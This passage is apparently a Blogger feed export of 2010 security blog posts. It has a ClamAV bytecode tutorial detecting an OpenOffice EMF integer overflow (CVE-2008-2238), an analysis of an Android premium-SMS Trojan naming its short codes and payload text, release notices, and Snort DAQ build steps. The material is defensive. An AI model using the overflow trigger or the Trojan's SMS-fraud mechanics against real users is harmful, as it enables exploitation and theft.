href="http://git.clamav.net/gitweb?p=clamav-bytecode-compiler.git;a=blob_plain;f=docs/user/clambc-user.pdf;hb=HEAD"&gt;here&lt;/a&gt;). Make sure to follow the instructions in the &lt;i&gt;README&lt;/i&gt; file to build the compiler.&lt;br /&gt;&lt;br /&gt;Here's a case study to see how ClamAV bytecode can come in handy (this is an integer overflow vulnerability in a old version of OpenOffice CVE-2008-2238). The vulnerability came about due to the way OpenOffice used to parse Enhanced Metafiles (EMF). The specifications for the EMF file format is available &lt;a href="http://msdn.microsoft.com/en-us/library/cc204166.aspx"&gt;here&lt;/a&gt;. An EMF metafile is composed of a series of variable-length records called EMF records. An EMF record has the following format:&lt;pre&gt;Offset Size Description&lt;br /&gt;------------------------------------&lt;br /&gt;0x0000 4 Record Type&lt;br /&gt;0x0004 4 Record Size &lt;N&gt;&lt;br /&gt;0x0008 N Type-Specific Data&lt;/pre&gt;There is a record called EMR_EXTTEXTOUTW which has the following format:&lt;pre&gt;Offset Size Description&lt;br /&gt;------------------------------------&lt;br /&gt;0x0000 4 Record Type: EMF_EXTTEXTOUTW &lt;0x00000054&gt;&lt;br /&gt;0x0004 4 Record Size &lt;N&gt;&lt;br /&gt;0x0008 16 Bounds&lt;br /&gt;0x0018 4 iGraphicsMode&lt;br /&gt;0x001c 4 exScale&lt;br /&gt;0x0020 4 eyScale&lt;br /&gt;0x0024 N EmrText (variable)&lt;/pre&gt;The EmrText block has the following format:&lt;pre&gt;Offset Size Description&lt;br /&gt;-----------------------------&lt;br /&gt;0x0000 8 Reference&lt;br /&gt;0x0008 4 Chars OR nLen&lt;br /&gt;0x000C 4 OffString&lt;br /&gt;......&lt;/pre&gt;Without getting into the details of why, I'll just say that there is an integer overflow condition if the value of Chars is equal or greater than 0x80000000 bytes.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Fire up your favorite text editor and create a file called emf_CVE-2008-2238.c.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Start off by specifying the type of file you are targeting (more information about target types &lt;a href="http://www.clamav.net/doc/latest/signatures.pdf"&gt;here&lt;/a&gt;):&lt;/div&gt;&lt;div&gt;&lt;pre&gt;TARGET(0)&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;Next we declare the .ndb style pattern we will be looking for in EMF files as we attempt to identify the ones that may be trying to leverage the vulnerability. Based on the specifications for the EMF format, the first record in the metafile is always an EMF header record (type 0x01) and 40 bytes into the record is a digital signature that must be &lt;i&gt;EMF&lt;/i&gt;. Let's declare this signature and delimit it with the macros &lt;i&gt;SIGNATURES_DECL_BEGIN&lt;/i&gt; and &lt;i&gt;SIGNATURES_DECL_END&lt;/i&gt;:&lt;pre&gt;SIGNATURES_DECL_BEGIN&lt;br /&gt;DECLARE_SIGNATURE(emr_header)&lt;br /&gt;SIGNATURES_DECL_END&lt;/pre&gt;The definitions are delimited by the macros &lt;i&gt;SIGNATURE_DEF_BEGIN&lt;/i&gt; and &lt;i&gt;SIGNATURES_END&lt;/i&gt;:&lt;pre&gt;SIGNATURES_DEF_BEGIN&lt;br /&gt;DEFINE_SIGNATURE(emr_header, "0:01000000{37}454d46")&lt;br /&gt;SIGNATURES_END&lt;/pre&gt;We then define a function called &lt;i&gt;logical_trigger()&lt;/i&gt; which is a must for bytecode that is triggered by a logical signature:&lt;pre&gt;bool logical_trigger()&lt;br /&gt;{&lt;br /&gt;return matches(Signatures.emr_header);&lt;br /&gt;}&lt;/pre&gt;If needed you can combine multiple signatures here with boolean and comparison operators. See the format of .ldb signatures for more details, or the compiler's documentation. In this case what this function does is return &lt;i&gt;true&lt;/i&gt; if the &lt;i&gt;emr_header&lt;/i&gt; signature is matched. If the function &lt;i&gt;logical_trigger&lt;/i&gt; returns &lt;i&gt;true&lt;/i&gt; then the fuction &lt;i&gt;entrypoint&lt;/i&gt; is called. The function is of type &lt;i&gt;int&lt;/i&gt;. I have attempted to explain the detection logic of the function through the embedded comments below:&lt;pre&gt;/* This is the bytecode function that is actually executed when the logical signature is matched */&lt;br /&gt;int entrypoint(void)&lt;br /&gt;{&lt;br /&gt; uint8_t emf_exttextoutw[4] = "\x54\x00\x00\x00"; /* Header for EMF record EMR_EXTTEXTOUTW  */&lt;br /&gt; int pos=0;      /* Cursor position in file    */&lt;br /&gt; int Chars_value=0;     /* Value of the attribute Chars    */&lt;br /&gt; uint8_t Chars[4];     /* Chars attribute. See format for EmrText block */ &lt;br /&gt; &lt;br /&gt; while (1)&lt;br /&gt; {&lt;br /&gt;  /* Find a EMF record EMR_EXTTEXTOUTW */&lt;br /&gt;  pos = file_find(emf_exttextoutw,4);&lt;br /&gt;  &lt;br /&gt;  /* If EMF record EMR_EXTTEXTOUTW cannot be found */&lt;br /&gt;  if (pos == -1)&lt;br /&gt;   break;&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;   /* Move the cursor 44 bytes forward, to the start of Chars     */&lt;br /&gt;   seek(pos+44, SEEK_SET);&lt;br /&gt;  &lt;br /&gt;   /** Read Chars, which is 4 bytes long, little endian **/&lt;br /&gt;          read (Chars, sizeof(Chars));     &lt;br /&gt;&lt;br /&gt;   /*** Convert to host system's endianess. cli_readint32 is part if the ClamAV API.&lt;br /&gt;   So if your system is already little endian it does nothing (just reads&lt;br /&gt;   the value), and if your system is big endian it swaps the bytes. See definition&lt;br /&gt;   of cli_readint32 in other.h in the libclamav folder of your ClamAV installation ***/&lt;br /&gt;   int Chars_value = cli_readint32(Chars);&lt;br /&gt;   &lt;br /&gt;   if (Chars_value &gt;= 0x80000000)&lt;br /&gt;   {&lt;br /&gt;    foundVirus("CVE-2008-2238");&lt;br /&gt;    break;&lt;br /&gt;   }&lt;br /&gt;   else    &lt;br /&gt;          {       &lt;br /&gt;                  /** Advance by 1 position in the file **/&lt;br /&gt;                  seek (pos+1, SEEK_SET);&lt;br /&gt;          }&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Here's the &lt;a href="http://labs.snort.org/files/emf_CVE-2008-2238.c"&gt;code &lt;/a&gt;in its entirety. Use it as a template to write your own bytecode, or as an exercise, compile it and using a hex editor, create a file that will trigger this bytecode signature.&lt;br /&gt;&lt;br /&gt;Finally, before you run off and start writing your own code, keep in mind that you are writing code in C. What I mean by that is that you can introduce buffer overflow vulnerabilities, infinite loop conditions and so on. Check, double check, heck! triple check your code before you start using it in a production environment. With that being said, ClamAV does have some measures in place to keep it from running out of control: memory accesses are bounds checked, bytecode execution has timeouts, and bytecodes are run with stack smashing protection. When either of these are detected at runtime, bytecode execution is stopped and ClamAV continues to execute normally. Still it is not guaranteed that these protections are perfect, so you should still check your code!&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8563290970786003559?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8563290970786003559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8563290970786003559' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8563290970786003559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8563290970786003559'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/09/introduction-to-clamavs-low-level.html' title='Introduction to ClamAV&apos;s Low Level Virtual Machine (LLVM)'/><author><name>Alain Zidouemba</name><uri>http://www.blogger.com/profile/12186945673160140627</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7258102423529282073</id><published>2010-08-25T13:24:00.001-04:00</published><updated>2010-08-25T13:24:48.428-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Wednesday August 25th, 2010</title><content type='html'>&lt;p&gt;Adobe, vulnerabilities in Director, no kidding. Who would've thought that? Well, rules are out.&lt;/p&gt;&lt;p&gt;Check it out here: &lt;a href="http://www.snort.org/vrt/advisories/2010/08/25/vrt-rules-2010-08-25.html"&gt;http://www.snort.org/vrt/advisories/2010/08/25/vrt-rules-2010-08-25.html&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7258102423529282073?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7258102423529282073/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7258102423529282073' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7258102423529282073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7258102423529282073'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/08/rule-release-for-today-wednesday-august_25.html' title='Rule Release for Today, Wednesday August 25th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-3100120604085001350</id><published>2010-08-18T16:00:00.000-04:00</published><updated>2010-08-18T16:00:23.942-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Wednesday August 18th, 2010</title><content type='html'>Maintenance release this one, some new rules, some modifications, check it out here: &lt;a href="http://www.snort.org/vrt/advisories/2010/08/18/vrt-rules-2010-08-18.html"&gt;http://www.snort.org/vrt/advisories/2010/08/18/vrt-rules-2010-08-18.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-3100120604085001350?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/3100120604085001350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=3100120604085001350' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3100120604085001350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3100120604085001350'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/08/rule-release-for-today-wednesday-august.html' title='Rule Release for Today, Wednesday August 18th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-2649773880739357447</id><published>2010-08-16T11:06:00.000-04:00</published><updated>2010-08-16T11:06:25.575-04:00</updated><title type='text'>ClamAV Release Announcements</title><content type='html'>ClamAV for Windows 2.0 has officially launched.  This version contains a new GUI, numerous new detection features, a new prevention engine, and a ton of other features.  Check out ClamAV for Windows 2.0 &lt;a href="http://www.clamav.net/about/win32"&gt;(here)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;New Features Include:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;New GUI&lt;/b&gt; - Completely new UI for a better user experience.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Community Visualization&lt;/b&gt; – Graphical representation of your community and an understanding of the threat landscape.  Know where you, your country, and your community stand in relation to the rest of the world.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Community Notices&lt;/b&gt; – Stay up to date on the latest ClamAV for Windows news, emerging threats, and other relevant information.&lt;/li&gt;&lt;li&gt;&lt;b&gt;New SPERO Engine&lt;/b&gt; – A new machine learning prevention and detection engine.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Enhanced companion support&lt;/b&gt; – Additional support of companion AV.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Not Familiar with ClamAV for Windows?&lt;/b&gt;&lt;br /&gt;If you’re not one of the 150,000 current ClamAV for Windows 1.0 users and you have no idea what ClamAV for Windows is, here is a quick overview.  It is a free real-time desktop antivirus with some really innovative and unique features.  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Including but not limited to:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Fast Cloud based protections&lt;/b&gt; – ClamAV for Windows leverages the speed of cloud computing to deliver real-time protection to your PC&lt;/li&gt;&lt;li&gt;&lt;b&gt;Light&lt;/b&gt; – ClamAV for Windows is up to 35 times lighter than traditional antivirus solutions.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Real-time&lt;/b&gt; – ClamAV for Windows provides cloud-based protection that is always up-to-date against viruses, spyware, bots, worms, Trojans, keyloggers without the need to download virus signatures every day.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Companionship&lt;/b&gt; – ClamAV for Windows is compatible with existing antivirus products to help protect you better.  What is better than some extra, free protection?&lt;/li&gt;&lt;li&gt;&lt;b&gt;Community Aware&lt;/b&gt; – ClamAV for Windows allows you to setup a community of friends, family, and associates that help you detect new threats in your community.  Protection one, protect everyone.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Not Done Yet&lt;/b&gt;&lt;br /&gt;ClamAV 0.96.2 has also been released, if you use ClamAV on your mail gateway, web proxy, desktop scanner, or anywhere it is time to upgrade to the latest version. Highlights of the release include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Extended PDF parsing and extraction&lt;/li&gt;&lt;li&gt;Speed improvements on DB loading&lt;/li&gt;&lt;li&gt;Improved handling of Safebrowsing DB&lt;/li&gt;&lt;li&gt;Bytecode clean ups and improvements&lt;/li&gt;&lt;li&gt;Improved memory usage and speed improvements (40MB less than 96.1)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Numerous platform specific bugs, functionality bugs, and minor enhancements were also added.  Please see the ClamAV bug tracker for &lt;a href="http://bugs.clamav.net"&gt;complete details&lt;/a&gt;.  Special thanks to all the users that added bugs and feature requests, we appreciate your feedback and support.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Still Not Done:&lt;/b&gt;&lt;br /&gt;The roadmap for ClamAV for Windows 3.0 has been finalized.  In November of 2010 we’ll be releasing a fully integrated version of ClamAV for Windows that contains LibClamAV.  You’ll be able to use all your custom ClamAV signatures, the standard ClamAV signatures, and 3rd Party signature with ClamAV for Windows.  Keep a look out for more details on ClamAV for Windows 3.0 on the VRT Blog.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Finally Done:&lt;/b&gt;&lt;br /&gt;As always, the Sourcefire VRT appreciates your support, use, and continued involvement in the ClamAV community. If you have bugs, feature requests, or cool ideas please check out the bug tracker and open your requests &lt;a href="http://bugs.clamav.net/"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-2649773880739357447?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/2649773880739357447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=2649773880739357447' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2649773880739357447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2649773880739357447'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/08/clamav-release-announcements.html' title='ClamAV Release Announcements'/><author><name>Matthew Watchinski</name><uri>http://www.blogger.com/profile/00749294989862848285</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8234688294417710318</id><published>2010-08-13T11:26:00.005-04:00</published><updated>2010-08-16T10:37:04.232-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Malware'/><title type='text'>Malware on Android? Big deal!</title><content type='html'>Malware and Google's Android OS are two of my favorite things to play with. You would think that when I heard that there was a Trojan in the wild targeting Android devices, I'd be all over it. Indeed, I was. But I was not happy because I just don't like the sound of "malware" and "Android" in the same sentence. I got a copy of the Trojan (MD5: fdb84ff8125b3790011b83cc85adce16) and proceeded to dissect it. Most Android applications are distributed in the form of Android Packages (.apk), and this was no exception. Apk files can be opened with dexdump, a tool provided by Google as part of the Android SDK. On my workstation, it's located under:&lt;br /&gt;&lt;pre&gt;android-sdk-linux_86/platforms/android-6/tools&lt;/pre&gt;Let's run dexdump with the following options on the Trojan "RU.apk" and redirect the output to a file:&lt;br /&gt;&lt;pre&gt;./dexdump -d -f -h ~/Desktop/RU.apk &gt; ~/Desktop/out.txt&lt;/pre&gt;Going through the output and looking for the "onCreate" method, which is the method used to initialize activity, I found &lt;pre&gt;[00083c] org.me.androidapplication1.HelloWorld.onCreate:(Landroid/os/Bundle;)V&lt;/pre&gt;HelloWorld?! What? Was this written by a n00b who copied the example project HelloWorld? The following was also found:&lt;pre&gt;[000924] org.me.androidapplication1.MoviePlayer.onCreate:(Landroid/os/Bundle;)V&lt;/pre&gt;OK, MoviePlayer is the name of the application. I guess it must be some sort of movie player. This is confirmed by the presence of:&lt;pre&gt;000c: const-string v2, "Нажмите ок для доступа к видеотеке" // string@0076&lt;/pre&gt;That is Russian for "Click OK to access the video library" (thanks Google Translate). On "create", the function DataHelper.canwe() is invoked:&lt;pre&gt;00094c: 6e10 1900 0600 000c: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.canwe:()Z // method@0019&lt;/pre&gt;The function checks a SQLite DB for the presence of "was" in table1 (yes, quite an interesting way to see whether the app was run before). If the application had never been run on the device a function call is made to SmsManager.sendTextMessage:&lt;pre&gt;001f: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage&lt;/pre&gt;This function call is made 3 times with short codes as the destination phone numbers: 3353, 3354 and 3353 again. The content of the each of these short messages is "798657".&lt;br /&gt;&lt;br /&gt;So what would have happened had an unsuspecting user installed this application? The victim would have installed what appeared and pretended to be a benign application on his/her Android device. Instead of acting as a movie player the application would have sent 3 SMS messages to those short codes. This Trojan targets Russian speaking users and so the likelihood is that it is mostly going to be installed on handsets in Russia. According to Wikipedia, "the cost of the call or SMS to the short number varies from 1.2 to 300 rubles", which is between USD 0.03 and USD 9.8. The end result is that the victim wouldn't have a movie player on their handset, but would have been scammed out of money instead.&lt;br /&gt;&lt;br /&gt;While this is certainly one of the first (or the first) Trojan found in the wild that targets Android, it's quite surprising how news outlets covered this story. The hype made it almost seem like there had never been malware targeting mobile devices before. Just a month ago, there were reports of malware affecting Symbian devices to create a botnet capable of sending SMS messages from compromised devices. Don't forget, Symbian is the top OS for phones based on market share.&lt;br /&gt;&lt;br /&gt;In late 2009, a spyware application for BlackBerry OS called PhoneSnoop was making making the headlines. It allowed a third party to listen in on any calls on the compromised phone. Finally, let's not forget about Ikee, the iPhone worm that was "rickrolling" jailbroken devices in Australia.&lt;br /&gt;&lt;br /&gt;As for this this Android SMS Trojan, it's been reported that it was not available for download through Google's official directory for applications called the Android Market, and so users who got infected had no business downloading .apk files from other sources. Well,  some developers such as Gameloft choose not to publish their app through the Android Market for whatever reason, so you would have get their software from a location other than the Android Market. Then there is the fact that downloading an application from the Android Market does not guarantee that the application will behave exactly the way you expect based on its name and description. In fact, "Google does not intend, and does not undertake, to monitor the Products or their content" per their developer distribution &lt;a href="http://www.android.com/us/developer-distribution-agreement.html"&gt;agreement&lt;/a&gt;. Furthermore, "if Google is notified by you or otherwise becomes aware and determines in its sole discretion that a Product [...] is deemed by Google to have a virus or is deemed to be malware, spyware or have an adverse impact on Google's or an Authorized Carrier's network [...] Google may remove the Product from the Market". I think that's pretty clear and doesn't require any further explanation. What I get from this is that one should proceed cautiously if installing an application by an unknown developer from the Android Market that has been downloaded by a small number of people.&lt;br /&gt;&lt;br /&gt;In comparing two dominant players in the mobile application arena, Google and Apple have very different approaches when it comes to how they've implemented their application stores. One leaves it up to the end users to review and comment on apps, whereas the other wants full control on what app gets approved for their store. Both sides have their share of fanboys and I am not here to determine which one is the best. I do wonder though, if from a security point of view, the best solution doesn't lie somewhere in the middle of these two approaches.&lt;br /&gt;&lt;br /&gt;What did all this teach us? Simply that you should be aware that your smartphone is a prime target for attackers. Not only are smartphones more powerful than even the most powerful desktop computers from a few years ago, but they also provide easy access to your address book, your email accounts and social network accounts. With smartphone sales about to surpass worldwide PC sales by the end of 2011, it's not difficult to see how more vulnerabilities will be found and exploited in mobile devices, and how more malware targeting smartphones will be found in the wild. As always, we strongly recommend that you know and trust the wireless hotspot you are connecting your phone to, that you install trusted apps and that you browse trusted websites.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8234688294417710318?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8234688294417710318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8234688294417710318' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8234688294417710318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8234688294417710318'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/08/malware-on-android-big-deal.html' title='Malware on Android? Big deal!'/><author><name>Alain Zidouemba</name><uri>http://www.blogger.com/profile/12186945673160140627</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8559959337890994885</id><published>2010-08-12T17:28:00.000-04:00</published><updated>2010-08-12T17:28:29.925-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Thursday August 12th, 2010</title><content type='html'>Adobe, HP and Symantec products have issues, we have rules, check it out here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.snort.org/vrt/advisories/2010/08/12/vrt-rules-2010-08-12.html/"&gt;http://www.snort.org/vrt/advisories/2010/08/12/vrt-rules-2010-08-12.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8559959337890994885?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8559959337890994885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8559959337890994885' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8559959337890994885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8559959337890994885'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/08/rule-release-for-today-thursday-august.html' title='Rule Release for Today, Thursday August 12th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-4574901879039406226</id><published>2010-08-12T16:58:00.000-04:00</published><updated>2010-08-12T16:58:10.796-04:00</updated><title type='text'>Snort 2.9 Essentials:  The DAQ</title><content type='html'>The recently released Snort 2.9 Beta introduces the Data AcQuisition library (DAQ), for packet I/O. The DAQ replaces direct calls into packet capture libraries like PCAP with an abstraction layer that make it easy to add additional software or hardware packet capture implementations. DAQ 0.1 supports PCAP, AFPACKET, NFQ, IPQ, IPFW, and DUMP which is used for testing.  &lt;br /&gt;&lt;br /&gt;So why the change? The DAQ is essentially an abstraction layer and a suite of pluggable modules that can be selected at run-time. This makes switching from passive to inline mode easy, and not require a recompile of the snort core.  Additionally, it adds AFPACKET support which makes it really easy to stand-up an inline sensor without mucking around with iptables, setting up queues, and other administrative tasks.  Finally, the DAQ is modular and easy to work with, if there is some special network capture card you need to support adding a module for it is relatively straight forward.  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;USAGE : Building the DAQ Library and DAQ Modules&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Download the DAQ from &lt;a href="http://www.snort.org/snort-downloads"&gt;snort.org&lt;/a&gt; it is called daq-0.1.tar.gz&lt;/li&gt;&lt;li&gt;Unpack it tar -xvzf ./daq-0.1.tar.gz&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Meet the following minimum requirements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;PCAP ≥ 1.0.0. PCAP 1.1.1 is available at the time of this writing and is recommended.&lt;/li&gt;&lt;li&gt;libdnet is required for IPQ and NFQ DAQs. If you run into any errors, check the DAQ distro README for tricks I used.&lt;/li&gt;&lt;li&gt;libnet is no longer required. Gone Gone Gone, and there was much rejoicing.&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;./configure ; make ; sudo make install&lt;/pre&gt;When the DAQ library is built, both static and dynamic module flavors will be generated more on "why" later. If you need to tweak certain options see configure for help, run:&lt;br /&gt;&lt;pre&gt;./configure --help&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;Building Snort&lt;/b&gt;&lt;br /&gt;Snort now needs to know where DAQ is installed on the system.  If you installed it somewhere other than its default location, you'll need to add some extra switches to configure, for snort to build.  If you didn't you can ignore the below, snort's configure should just find the DAQ library and build.&lt;br /&gt;&lt;pre&gt;./configure --with-daq-includes=&amp;lt;inc dir&amp;gt;--with-daq-libraries=&amp;lt;lib dir&amp;gt;&lt;/pre&gt;&lt;em&gt;If you install the daq-modules in a non standard place make sure your path is updated with the daq-modules location.  Snort's ./configure requires running bin/daq-modules-config.  This step isn't necessary if daq is installed in the default location.  However ldconfig or other system specific commands may or may not need to be run.&lt;/em&gt;&lt;br /&gt;&lt;pre&gt;PATH=/daq/install/prefix:$PATH&lt;/pre&gt;By default, snort will be built with a few static DAQ modules including PCAP, AFPACKET, and DUMP. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Once Snort is built.&lt;/b&gt;&lt;br /&gt;To see Snort's available DAQs, run this:&lt;br /&gt;&lt;pre&gt;snort [--daq-dir &amp;lt;dir&amp;gt;] --daq-list&lt;/pre&gt;The above command searches the specified directory (eg /usr/local/lib/daq) for DAQ modules and prints type, version, and attributes of each. If you just want to see the built-in modules, leave off the --daq-dir.&lt;br /&gt;&lt;br /&gt;Output should look something like the following:&lt;br /&gt;&lt;pre&gt;Available DAQ modules:&lt;br /&gt;pcap(v2): readback live multi &lt;br /&gt;unprivnfq(v1): live inline &lt;br /&gt;multiipq(v1): live inline &lt;br /&gt;multiipfw(v1): live inline multi &lt;br /&gt;unprivdump(v1): readback live inline multi &lt;br /&gt;unprivafpacket(v1): live inline multi unpriv&lt;br /&gt;&lt;/pre&gt;You can see that 6 DAQs are available, that pcap doesn't support inline mode, that nfq and ipq don't support unprivileged operation, etc. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Configuring Snort&lt;/b&gt;&lt;br /&gt;If everything went as planned, snort is now built with DAQ.  By default Snort uses the PCAP module for reading files and for sniffing interfaces, so if that is all you do with snort you can stop reading, as it should just work.&lt;br /&gt;&lt;br /&gt;However, if you run inline with snort keep reading as there are some new command lines switches and some new usage options.&lt;br /&gt;&lt;br /&gt;Here is the full set of DAQ related command line and config file options:&lt;br /&gt;&lt;pre&gt;snort [--daq &amp;lt;type&amp;gt;] [--daq-mode &amp;lt;mode&amp;gt;] &lt;br /&gt;[--daq-dir &amp;lt;dir&amp;gt;] [--daq-var &amp;lt;var&amp;gt;]&lt;br /&gt;config daq: &amp;lt;type&amp;gt;&lt;br /&gt;config daq_mode: &amp;lt;mode&amp;gt;&lt;br /&gt;config daq_dir: &amp;lt;dir&amp;gt;&lt;br /&gt;config daq_var: &amp;lt;var&amp;gt;&amp;lt;type&amp;gt; &lt;br /&gt;::= pcap  afpacket  dump  nfq  ipq  ipfw&amp;lt;mode&amp;gt; &lt;br /&gt;::= read-file  passive  inline&amp;lt;dir&amp;gt; 